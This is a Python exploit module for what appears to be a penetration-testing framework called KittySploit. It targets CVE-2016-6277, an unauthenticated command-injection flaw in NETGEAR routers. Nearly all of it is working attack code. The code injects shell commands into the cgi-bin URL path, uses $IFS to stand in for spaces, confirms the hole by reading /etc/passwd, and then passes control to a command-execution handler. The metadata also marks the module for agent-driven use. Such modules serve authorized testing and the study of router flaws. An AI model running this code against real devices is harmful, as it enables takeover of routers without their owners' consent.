NETGEAR Router cgi-bin RCE (CVE-2016-6277)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR router cgi-bin path command injection (CVE-2016-6277)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'NETGEAR Router cgi-bin RCE (CVE-2016-6277)',
        'description': (
            'Exploits CVE-2016-6277 in multiple NETGEAR routers: shell metacharacters in '
            'the cgi-bin path segment yield unauthenticated command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2016-6277'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2016-6277',
            'https://www.kb.cert.org/vuls/id/582384',
        ],
        'tags': ['netgear', 'router', 'iot', 'rce', 'cmdi', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2016_6277_detect'],
            },
        },
    }

    cgi_base = OptString('/cgi-bin/', 'CGI base path', required=False, advanced=True)

    def execute(self, cmd: str) -> str:
        base = str(self.cgi_base or '/cgi-bin/').strip() or '/cgi-bin/'
        if not base.endswith('/'):
            base += '/'
        safe = str(cmd).replace(' ', '$IFS')
        path = f'{base};{safe}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat$IFS/etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2016-6277 path injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'NETGEAR path injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo$IFS{token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()